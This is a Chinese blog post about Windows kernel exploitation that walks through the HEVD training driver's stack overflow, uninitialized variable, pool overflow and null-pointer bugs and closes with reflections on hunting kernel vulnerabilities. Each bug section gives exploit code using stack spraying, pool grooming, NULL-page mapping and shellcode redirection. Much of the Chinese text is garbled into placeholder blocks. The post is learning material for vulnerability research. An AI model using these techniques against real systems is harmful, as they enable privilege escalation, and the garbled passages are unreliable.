windows内核系列七: 由HEVD到内核洞挖掘的一些贻笑大方的思考

wjllz是人间大笨蛋 / 2018-12-13 07:03:00 / 浏览数 2543 安全技术 漏洞分析

前言

Hello, 这是windows kernelexploit的第七篇, 也是这个阶段性的最后一篇. 接下来我想做一些挖洞的工作. 所以可能分析性的文章就暂时更新到这里(并不, 只是投入的时间占比可能会更少一些).

这一篇主要涉及一些我自己对挖洞的思考, 来源于学习过程的积累. 但是都是自己总结, 没有科学依据. 所以我一直挂在自己的博客, 没有外放.
后来想着校内分享就给老师了... 师傅和我说一个系列的希望可以在先知留给备份, 所以就又放上来了. 唔, 虽然是一些很笨的方法,
但是希望师傅们能够给我提供更多的意见. 感激不尽.

我记得两个月前我开始了我的内核学习道路, 于是我开始学习师父给我的HEVD的文章来看. 在学习了UAF这一篇之后, 就把这个系列给放弃了.
因为觉得还是直接做cve的分析比较具有挑战性.

我记得我的第一篇文章是关于HEVD的, 当时第一次实现了堆喷的时候, 开始惊讶于这个世界的神奇. 所以这样想来也好, 从HEVD开始. 也从HEVD结束.

当然, 提到HEVD, 得感谢rootkits的杰出工作. 让我放弃了c++走向了python的美满人生(并没有, c++是我和我最后的倔强). 还有一些balabala的人(很重要的),
由于我不是写获奖感言. 所以就不一一列举了.

由于rootkit的分析已经做的很棒了, 所以我不会对于每一个做出详细的解释, 而是给出概括性的利用总结.在这篇文章当中, 给出的内容如下:

```
[+] HEVD■■■■■■■■■■
[+] ■■HEVD■■windows■■■■■■.
[+] ■■■■■■■■■■■■■■■■■■
[+] ■■■■■■■
```

我比较想聊的是第二个和第三个话题, 如果你看过我以前的博客的话, 你会发现我就是一个菜鸡, 所以和往常一样. 这些都是我自以为是的结论. 不算教程.
如果你在学习过程中发出和我一样的感受的话. 那实在是一件很幸运的事情. 至于第四个点, 算是一些民科的行为, 基于HEVD给出的信息,
想探讨一些对之后挖洞可能会有帮助性的思路. 在之后的道路我会验证他并更新第四部分.

文章所有的代码实现你可以在我的github上面找到, UAF和write-what-where会有详细的文章解释, 所以就不再贴出来.

各个漏洞的总结

栈溢出

关键代码段:

```
#ifdef SECURE
          // Secure Note: This is secure because the developer is passing a size
          // equal to size of KernelBuffer to RtlCopyMemory()/memcpy(). Hence,
          // there will be no overflow
          RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, sizeof(KernelBuffer));
  #else
          DbgPrint("[+] Triggering Stack Overflow\n");

          // Vulnerability Note: This is a vanilla Stack based Overflow vulnerability
          // because the developer is passing the user supplied size directly to
          // RtlCopyMemory()/memcpy() without validating if the size is greater or
          // equal to the size of KernelBuffer
          RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size); // ■■
  #endif
```

利用思路:

```
[+] ■■0x824(ebp-0x81c)■■■, ■■0x820■■■shellcode
[+] ret■■■■eip, ■■shellcode
```

爬坑点:

```
[+] ■■■■■■(rootkits):
   [+] ■■shellcode■ret■, ■■■■■■. ■■pop, add esp, ■■■■■■■■■■.(■■■■■■■■■■, ■■■■■■■, ■■■■■■■■■■■■■■■■)

   [+] user space■■■■■■■■
   [+] ■■ret ■■■■XXXX
```

```
   [+] mov [esp], xxx.
       ==> ■■■■■■■■■■■■■■■■■■.
```

假设比较

```
[+] ■■■■■■: ■userbuf■kernelbuf■■■■■■■■■■
[+] ■■■■■■: ■■■■■■■■■■■■■■■■■■■■■■■■■■.
[+] ==> who: ■■■■■■
```

exp关键代码段

```
VOID runYourShellCode()
{
   const int orignalLength = 0x800;
   const int overflowLength = 0x20;
   DWORD lpBytesReturned = 0;
   char buf[orignalLength + overflowLength+4];
   memset(buf, 0x41, orignalLength + overflowLength+4);

   *(PDWORD32)(buf +orignalLength + overflowLength) = (DWORD32)&shellCode; // rip
   // ■■shellcode
   // ■■: ■■■■■■■
   DeviceIoControl(hDevice, STACK_OVERFLOW_NUMBER, buf, orignalLength + overflowLength + 4, NULL, 0, &lpBytesReturned, NULL);
}
```

未初始化栈变量

关键代码段

```
#ifndef SECURE
       DbgPrint("[+] Triggering Uninitialized Stack Variable Vulnerability\n");
#endif

       // Call the callback function
       if (UninitializedStackVariable.Callback) {
           UninitializedStackVariable.Callback(); // ■■
       }
   }
```

利用思路

```
[+] ■■stack spray■■■■■■■■■■■
   ==> stack spray: https://j00ru.vexillium.org/2011/05/windows-kernel-stack-spraying-techniques/
[+] ■■■■■■■■■(UninitializedStackVariable)■■■■■■■■■■■■■. ■■■■■■■■, ■■shellcode
   ==> UninitializedStackVariable.Callback();
```

爬坑点

[+] stack spray

```
[+] ■■■■■■■stack spray■■■■■■■■■■■■■■■■■■
   ==> ■■OD■■windbg■■■■■■■■■`add esp, 8`■■, ■■■■■■■■
   ==> ■■■■■■■■■■■■■NtMapUserPhysicalPages■■■■■■■■■■■
```

假设比较

```
[+] ■■■■■■: ■■UninitializedStackVariable■■■■■■■
[+] ■■■■■■:
   ==> ■■■■■■■■■■■A■■■■■.
   ==> ■■■■■■■■. ■■■■A■■■■■■■■■■■■
   ==> ■■■■■■■■. ■■■■■shellcode
[+] ==> who: ■■■■+■■■■■
```

exp:

[+] 关键代码段:

```
VOID exploitToRunYourShellCode()
{
   DWORD lpBytesReturned = 0;
   char buf[5] = {};
   *(PDWORD32)(buf) = 0xBAD0B0B0 + 12; // not magic value
```

```
   NtMapUserPhysicalPages_t NtMapUserPhysicalPages =(NtMapUserPhysicalPages_t)GetProcAddress(GetModuleHandle("ntdll"), "NtMapU

   if (MapUserPhysicalPages == NULL)
   {
       std::cout << "[+] Get MapUserPhysicalPages failed!!! " << GetLastError() << std::endl;
       return;
   }

   // j00ru■■■■
   // ■■■■■■■■shellcode■■■■■■■■
   PULONG_PTR sprayBuf = (PULONG_PTR)malloc(1024 * 4);
   memset(sprayBuf, 0x41, 1024 * 4);

   for (int i = 0; i < 1024; i++)
   {
       *(PDWORD)(sprayBuf + i) = (DWORD)&shellCode;
   }

   NtMapUserPhysicalPages(NULL, 0x400, sprayBuf);
   DeviceIoControl(hDevice, UNINITIAL_STACK_VARIABLE_NUMBER, buf, 5, NULL, 0, &lpBytesReturned, NULL); // 0x1f8 ■■■■ 0x8■■he
}
```

未初始化堆变量

关键代码段:

[+] c

```
#ifdef SECURE
       else {
           DbgPrint("[+] Freeing UninitializedHeapVariable Object\n");
           DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
           DbgPrint("[+] Pool Chunk: 0x%p\n", UninitializedHeapVariable);

           // Free the allocated Pool chunk
           ExFreePoolWithTag((PVOID)UninitializedHeapVariable, (ULONG)POOL_TAG);

           // Secure Note: This is secure because the developer is setting 'UninitializedHeapVariable'
           // to NULL and checks for NULL pointer before calling the callback

           // Set to NULL to avoid dangling pointer
           UninitializedHeapVariable = NULL;
       }
#else
           // Vulnerability Note: This is a vanilla Uninitialized Heap Variable vulnerability
           // because the developer is not setting 'Value' & 'Callback' to definite known value
           // before calling the 'Callback'
           DbgPrint("[+] Triggering Uninitialized Heap Variable Vulnerability\n");
#endif

       // Call the callback function
       if (UninitializedHeapVariable) {
           DbgPrint("[+] UninitializedHeapVariable->Value: 0x%p\n", UninitializedHeapVariable->Value);
           DbgPrint("[+] UninitializedHeapVariable->Callback: 0x%p\n", UninitializedHeapVariable->Callback);
           // ■■
           UninitializedHeapVariable->Callback();
       }
   }
```

利用思路

```
[+] ■■■■■■■■■■■■■■
[+] ■■■■■, ■■■■■■■■■■■■■■
[+] ■■■■■■■■■■■■■■
```

爬坑点

[+] list head:

[+] target

假设比较

[+] ■■■■■: callback■■■■■■
[+] ■■■■■: ■■■■■■■■■■■■■■■, ■■■■■■■■■■■■■■■■
[+] who: ■■■■■+■■■■

exp

[+] 关键代码段

```
VOID poolFengShui()
{
   WCHAR lpszName[0xf0 / 2] = {};
   memset((char*)lpszName, 'A', 0xf0);
   // ■■■■■0x256■pool
   for (int i = 0; i < 256; i++)
   {
       *(PDWORD)((char*)lpszName + 0x4) = (DWORD)&shellCode;
       *(PDWORD)((char*)lpszName + 0xf0 - 4) = i;
       *(PDWORD)((char*)lpszName + 0xf0 - 3) = i;
       *(PDWORD)((char*)lpszName + 0xf0 - 2) = i;
       *(PDWORD)((char*)lpszName + 0xf0 - 1) = i;
       spray_event[i] = CreateEventW(NULL, FALSE, FALSE, (LPCWSTR)lpszName);   // ■■0xf0+0x8(header)■pool
   }
   for (int i = 0; i < 256; i++)
   {
       CloseHandle(spray_event[i]);
       i += 4;
   }
   // ■■■■
}

VOID exploitToRunYourShellCode()
{
   DWORD lpBytesReturned = 0;
   char buf[5] = {};
   *(PDWORD32)(buf) = 0xBAD0B0B0 + 12; // not magic value

   // ■■■■
   poolFengShui();
   DeviceIoControl(hDevice, UNINITIAL_HEAP_VARIABLE_NUMBER, buf, 5, NULL, 0, &lpBytesReturned, NULL); // 0x1f8 ■■■■ 0x8■■hea
}
```

pool oveflow

关键代码段:

```
#ifdef SECURE
       // Secure Note: This is secure because the developer is passing a size
       // equal to size of the allocated Pool chunk to RtlCopyMemory()/memcpy().
       // Hence, there will be no overflow
       RtlCopyMemory(KernelBuffer, UserBuffer, (SIZE_T)POOL_BUFFER_SIZE);
#else
       DbgPrint("[+] Triggering Paged Pool Session Overflow\n");

       // Vulnerability Note: This is a vanilla Pool Based Overflow vulnerability
       // because the developer is passing the user supplied value directly to
       // RtlCopyMemory()/memcpy() without validating if the size is greater or
       // equal to the size of the allocated Pool chunk
       RtlCopyMemory(KernelBuffer, UserBuffer, Size); // ■■
#endif
```

利用思路:

[+] ■■■■■■■■■0x200■■■■■
[+] 0■■■, shellcode■■■■0x60■
[+] ■■■■■■■■■■■■■■typeinfo■■0,
[+] ■■closeHandle■■■■shellcode

爬坑

[+] 堆喷的时候合理控制空隙

假设比较

```
[+] ■■■■■: callback■■■■■■
[+] ■■■■■: ■■■■■■■■■■■■■■■, ■■■■■■■■■■■■■■■■■
[+] who: ■■■■■+■■■■
```

exp关键代码

```
// ■■CreateEvent API■■■■■■■■
VOID poolFengShui()
{
   // ■■■■■■0x40■pool
   for (int i = 0; i < 0x1000; i++)
       spray_event[i] =  CreateEventA(NULL, FALSE, FALSE, NULL);   // 0x40

   // 0x40 * 8 = 0x200
   for (int i = 0; i < 0x1000; i++)
   {
       for(int j = 0; j < 0x8; j++)
           CloseHandle(spray_event[i+j]);
       i += 8;
   }

   // ■■■■
}

VOID exploit()
{
   const int overLength = 0x1f8;
   const int headerLength = 0x28;
   DWORD lpBytesReturned = 0;
   char buf[overLength+headerLength];
   memset(buf,0x41 ,overLength+headerLength);

   // ■■■■■■■
   // ■■typeInfo. ■■■0x00
   *(DWORD*)(buf + overLength + 0x00) = 0x04080040;
   *(DWORD*)(buf + overLength + 0x04) = 0xee657645;
   *(DWORD*)(buf + overLength + 0x08) = 0x00000000;
   *(DWORD*)(buf + overLength + 0x0c) = 0x00000040;
   *(DWORD*)(buf + overLength + 0x10) = 0x00000000;
   *(DWORD*)(buf + overLength + 0x14) = 0x00000000;
   *(DWORD*)(buf + overLength + 0x18) = 0x00000001;
   *(DWORD*)(buf + overLength + 0x1c) = 0x00000001;
   *(DWORD*)(buf + overLength + 0x20) = 0x00000000;
   *(DWORD*)(buf + overLength + 0x24) = 0x00080000;    // key fake here

   /*
   *   [+] (TYPEINFO ■0x00)■■0x60, ■■■■■■■■■■shellcode
   */
   PVOID               fakeAddr = (PVOID)1;
   SIZE_T              MemSize = 0x1000;

   *(FARPROC *)&NtAllocateVirtualMemory = GetProcAddress(GetModuleHandleW(L"ntdll"),
       "NtAllocateVirtualMemory");
   if (NtAllocateVirtualMemory == NULL)
   {
       return ;
   }

   std::cout << "[+]" << __FUNCTION__ << std::endl;
   if (!NT_SUCCESS(NtAllocateVirtualMemory(HANDLE(-1),
       &fakeAddr,
       0,
       &MemSize,
       MEM_COMMIT | MEM_RESERVE,
```

```
        PAGE_READWRITE)) || fakeAddr != NULL)
    {
        std::cout << "[-]Memory alloc failed!" << std::endl;
        return ;
    }
    *(DWORD*)(0 + 0x60) = (DWORD)&shellCode;    // change■shellcode■■

    poolFengShui();
    DeviceIoControl(hDevice, POOL_OVERFLOW_NUMBER, buf, overLength+headerLength, NULL, 0, &lpBytesReturned, NULL); // 0x1f8 ■■■
}
```

空指针

关键代码

```
[...]
       NullPointerDereference = NULL; // here
       }

#ifdef SECURE
       // Secure Note: This is secure because the developer is checking if
       // 'NullPointerDereference' is not NULL before calling the callback function
       if (NullPointerDereference) {
           NullPointerDereference->Callback();
       }
#else
       DbgPrint("[+] Triggering Null Pointer Dereference\n");

       // Vulnerability Note: This is a vanilla Null Pointer Dereference vulnerability
       // because the developer is not validating if 'NullPointerDereference' is NULL
       // before calling the callback function
       NullPointerDereference->Callback(); // here
#endif
```

利用思路

```
[+] ■■■■■■, ■■■■0■
[+] ■■■■■■shellcode
```

爬坑点

[+] 分配内存页

```
if (!NT_SUCCESS(NtAllocateVirtualMemory(HANDLE(-1),
       &fakeAddr,  //==> ■■■■■■■■NULL(0), ■■■■■■■■■■■■(■■■MSDN)
       0,
       &MemSize,
       MEM_COMMIT | MEM_RESERVE,
       PAGE_READWRITE)) || fakeAddr != NULL)
    {
        std::cout << "[-]Memory alloc failed!" << std::endl;
        return ;
    }
```

假设比较

```
[+] ■■■■■: callback■■■■■■
[+] ■■■■■: ■■■■■■■■■■■■■■■, ■■■■■■■■■■■■■■■■■
[+] who: ■■■■■+■■■■
```

exp关键代码

```
VOID exploitToRunYourShellCode()
{
    DWORD lpBytesReturned = 0;
    char buf[5] = {};
    *(PDWORD32)(buf) = 0xBAD0B0B0+12;   // not magic value
    // ■■shellcode
    // ■■: ■■■■■■■

    *(FARPROC *)&NtAllocateVirtualMemory = GetProcAddress(GetModuleHandleW(L"ntdll"),
```

```
        "NtAllocateVirtualMemory");
    if (NtAllocateVirtualMemory == NULL)
    {
        return;
    }
    PVOID               fakeAddr = (PVOID)1;
    SIZE_T              MemSize = 0x1000;
    std::cout << "[+]" << __FUNCTION__ << std::endl;
    if (!NT_SUCCESS(NtAllocateVirtualMemory(HANDLE(-1),
        &fakeAddr,
        0,
        &MemSize,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_READWRITE)) || fakeAddr != NULL)
    {
        std::cout << "[-]Memory alloc failed!" << std::endl;
        return;
    }

    *(DWORD*)(0 + 0x4) = (DWORD)&shellCode;

    DeviceIoControl(hDevice, NULL_POINTER_DEFERENCE_NUMBER, buf, 5, NULL, 0, &lpBytesReturned, NULL); // 0x1f8 ■■■■ 0x8■■heade
}
```

从HEVD引发的内核漏洞学习的思考

难度比较

前段时间在做DDCTF的时候, 我就有了把HEVD的这个重新写一下的想法. 对比一下他们的不同之处. HEVD这个, 我写完的时间花了三个小时(stack spray第一次学习, 在那里卡了一会). 所以还是蛮简单的. 所以我想先讲一下HEVD和我自己学习的CVE的不同. 来看看对内核学习有什么有用的信息.

分析代码

HEVD:

```
[+] HEVD■■■■■■■■■■■c■■, ■■■■■■■■■■. ■■■■■■■■. ■■■■. ■■■■■■■■■■■■■■■■■■■■■■■■■.
```

CVE:

```
[+] ■■■■■, ■■■■■■■■■■■■■■■■■■■■■.
   ==> ■■■■■■■■■■ --> ■■■■■■■■■■■
   ==> ■■■■■■■■■■■■API, ■■■■■■■■■■■■■■■. --> ■windows■■■■■■■■■.
```

CVE的学习, 如果你做过1day的比较之后, 你会发现. 定位漏洞点其实借助于其他的小技巧(比如补丁比较)可能没有那么难.
但是触发了漏洞之后利用函数里面的哪一段数据才能合理的实现利用我觉得是更难的部分. 因为很容易迷失在此中. 所以我做的过程当中面对这个问题的解决方案是:

```
[+] xref■■■■■■
[+] ■■■■■■■■■■■■■■■■, ■■■■
[+] ■■POC
       ==> ■■■■■■■■■■■■■, ■■■■■■■■■■. ■■■■■■■■■■
       ==> ■■■■■:
           ==> ■■windows nt4■■■■■■■■
           ==> ■■■■, ■■■■■■■■■■(■■■■■■■■■■■, ■■■■■■■■)
```

开发难度

HEVD:

```
[+] HEVD■■■github■■■■■■■, ■■■■■■■■■■■■■■■■■■■■■■■
[+] HEVD■■■■■■■■■■. ■■■■■■■■■■(■■■■■■■■■■n■byte)
```

CVE:

```
[+] ■■CVE■■■■■■■■■push■■■■■■■, ■■■■■■google■■■■■■■■■■■■■.
[+] ■■■■■■■■■■■■■■■, ■■■■■■■■■■(■■■■■■■■■■■)
[+] ■■■■■■: ■■■■■■, ■■■■■■■■■■■■■. ■■■■■■■■■■■.
```

我一度困扰于缓解措施和各种绕过, 所以对于此, 我做了下面的解决方案.

```
[+] ■■■■■■■■■■: ■■■■system token■current process token. ■■■■■■■■■■■■, ■■■■■■KASLR. ■■■■■■■■■■■■■
[+] ■■■■■■■, ■■■■■■■■■■■■■■.
```

```
   ==> ■■■■■■■■■■, ■■■■■■■■■■■
[+] ■github■■■■■■(■■■■■■■rs3)■■■■■■■■, ■■■■■■■■■■■■■■■■■■■■■■■.
```

一些自己内核学习的过程中绕弯的地方

贫穷

这一部分其实没有开玩笑, 在我早期的学习过程中. 我用着我的4G的笔记本. 同时开着两三个虚拟机. 然后电脑天天处于爆炸的状态. 十分影响学习的效率.
所以如果可以的话, 尽量使用性能比较好的电脑. 好的工具会让你事半功倍.

理论分析与调试分析

我做的最难受的洞应该是cve-2017-0263, 因为那是小刀师傅的博客上面做的是一篇十分详细的分析. 所以我觉得应该是蛮简单的,
但是我当时差不多花了一个星期左右在上面, 因为我走错了重点. 小刀师傅的博客上面有对每一个控件的原理相关的数据变量都做详细的分析,
能做到此是基于其强大的内功. 他熟悉windows的管理细节, 以及内核结构的实现思路. 这一部分是需要经验的积累的.
然而初入内核的我是根本不可能有内功这种东西的. 所以我做的最大的错误就是让自己陷入知识的海洋当中. 后来的解决方案是我开始从exp入手,
定位相应的关键代码段.然后记住关键的代码信息, 完成了那个漏洞的理解分析.

所以我们可以牵涉到另外一个东西. 我在学习的过程当中, 一开始翻阅了大量的paper, 光是blackhat的演讲paper就搜集了一大堆, 但是经常看着看着就忘了.
大概自己实在是一个不擅长寄东西的人.所以我开始对paper做了另外一个十分的定义. 字典. 哪里不会点哪里. 学堆喷的时候去参考11年的pool, feng
shui的时候去看13的paper. 在重复的查阅当中. 获取更深的理解.

关于挖洞的探讨.

依然想首先讲出, 我还没有开始挖洞, 所以这一部分的东西只是我下一步的工作的主体思路. 在后期当中我会更新变改正.

开发者失误

在前面的过程当中. 我对每一个类型的洞都给了相应的背锅归属, 我把pool overflow, stackoverflow归类于开发者背锅. 然而微软的老师们都是很厉害的存在,
所以我觉得想去挖这种类型的洞概率还是挺小的. 如果说有的话, 应该是在相应的比较老的源码当中. 在那个时候微软还是良莠不齐,
以及大家并不注重安全的年代我觉得漏洞可能存在. 所以相应的思路是:

```
[+] ■■■■■windows■■■■windows(bindiff)
[+] ■■■■■■■■■■■
   ==> ■■■■■■■■■■, ■■■■■.
```

系统特性

这一部分的挖洞是我最想做的. 做CVE和HEVD的分析的时候, 一般我都会去尝试假设如果自己实现这份源码会去怎么实现.
最终得出的结论是我可能在■■■■■+UAF■■■■■■■■这两个个类型的洞会百分百命中.

整数溢出

■■■■■的漏洞其实我觉得锅是不应该给开发者的, 寄存器的局限性和语言的局限性导致了这个漏洞的出现. 正常人的思路应该是`FFFFFFFF+1=1 0000 0000`,
然而由于局限性的出现, 结果变为了`0`, 所以我觉得由■■■■■■去入手. 应该会有不错的收获. 所以在下面的学习当中. 我会主要关注于整数溢出的漏洞挖掘.

目前的大概思路是:

```
[+] ■■■■■■■■
[+] ■■IDA python■■■■■■■■■■. ■■■■■:
   ==> PALLOCMEM
   ==> without: ULongLongToLong
```

UAF攻击

UAF的漏洞也应该是由系统特性来背锅. 因为在设计方面, 使用用户回调来与user space的相关数据实现交互可以极大的提高效率. 引发了潜在的安全问题.
在微软最开始的设计当中, 应该对于这一部分的考虑挺少的. 所以我觉得这一部分的洞可能比■■■■漏洞更多一些. 但是不做这一方面的原因是,
手工寻找此类型的漏洞可能过于痛苦. 所以我得去学一点`fuzz`的知识. 那也是一个漫长的过程. 所以先慢慢来.

目前的大概思路是:

```
[+] ■■fuzz
[+] ■■■■■■■
```

相关链接

```
==> ■■■■■■■■■: www.baidu.com(■■■■■■■■■■. ■■■■■■)
==> sakura■■■■■■■■: http://eternalsakura13.com/
==> ■■■■■■■■: https://xiaodaozhi.com/(■■■■■■■■■■■■■■■■■■)
==> rootkits■■■■■■: https://rootkits.xyz/(■■■■■■■■■)
==> j00ru: https://j00ru.vexillium.org/(■■■■■, ■■■■■■■■■■■■■■■■■■■(■), ■■■■■■■■■■■■■■)
```

```
==> alex: http://www.alex-ionescu.com/(■■■■■■■■■■■■■■■. ■windows■■■■■■■■■■)
==> NCC group: https://www.nccgroup.trust/us/(■■■paper■■■■■■■■■)
==> coresecurity: https://support.coresecurity.com/hc/en-us(■■■paper■■■■■■■■■)
==> sensepost: https://sensepost.com/(■■■paper■■■■■■■■■)
==> awesome kernel: https://github.com/ExpLife0011(■■■■■■■■■■■■■. explife■■■■■■■■■■■■■■■■)
==> blackhat: https://www.blackhat.com/(■■■■paper, ■■■■■■■■■)
==> k0keoyo: https://github.com/k0keoyo(■■■■github■■■■■■■.)
==> ■■■■■■■: https://www.redog.me/
```

后记

内核系列分析的文章到这里告一段落. 十分感谢你阅读完这些又长又丑的文章(假装自己的博客有人看的样子). 希望能够对你有所帮助.

做这个系列的目的是, 在我学习的过程中, 阅读了大量的前辈们的文章, 他们把windows的闭源变成了开源. 所以我觉得很酷. 我也想做这样的事.

另外一个方面, 自己的学习过程当中实在是一个相当愚蠢的过程, 犯了大量的错误, 所以想把自己犯的错给贴出来. 如果能够帮助你避免重复犯错实在是幸运的事.

最后, wjllz是人间大笨蛋.

上一篇：逻辑让我崩溃之越权姿势分享 下一篇：Python Web之flask ...

1. 0 条回复
   - 动动手指，沙发就是你的了！